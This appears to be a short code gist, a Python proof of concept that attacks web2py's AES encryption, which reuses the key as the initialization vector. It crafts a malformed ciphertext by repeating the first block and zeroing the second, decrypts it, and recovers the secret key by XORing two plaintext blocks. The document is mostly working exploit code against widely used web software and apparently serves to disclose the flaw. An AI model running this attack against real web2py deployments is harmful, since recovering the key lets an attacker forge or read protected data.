The following exploits AES constructions that use the Key as Initialization Vector. See http://www.gnu.org/software/shishi/manual/html_node/Key-as-initialization-vector.html for details.

gistfile1.py

from gluon.utils import AES_new

KEY = 'testtesttesttest'
PLAINTEXT = 'The quick brown fox jumped over the lazy dog.The quick brown fox'

def xor(a, b):
  return bytearray(x ^ y for x, y in zip(a, b))

def exploit():
  # ciphertext produced by web2py
  ctext = bytearray(AES_new(KEY).encrypt(PLAINTEXT))

  # our (malformed) ciphertext we plan to feed to web2py
  mtext = ctext[:16] * 4
  mtext[16:32] = [0x0] * 16

  # if at any point we identify what the decrypted data is
  ptext = bytearray(AES_new(KEY).decrypt(str(mtext)))

  # we can easily recover the secret key used:
  print('KEY: %s' % (str(xor(ptext[:16], ptext[32:48])), ))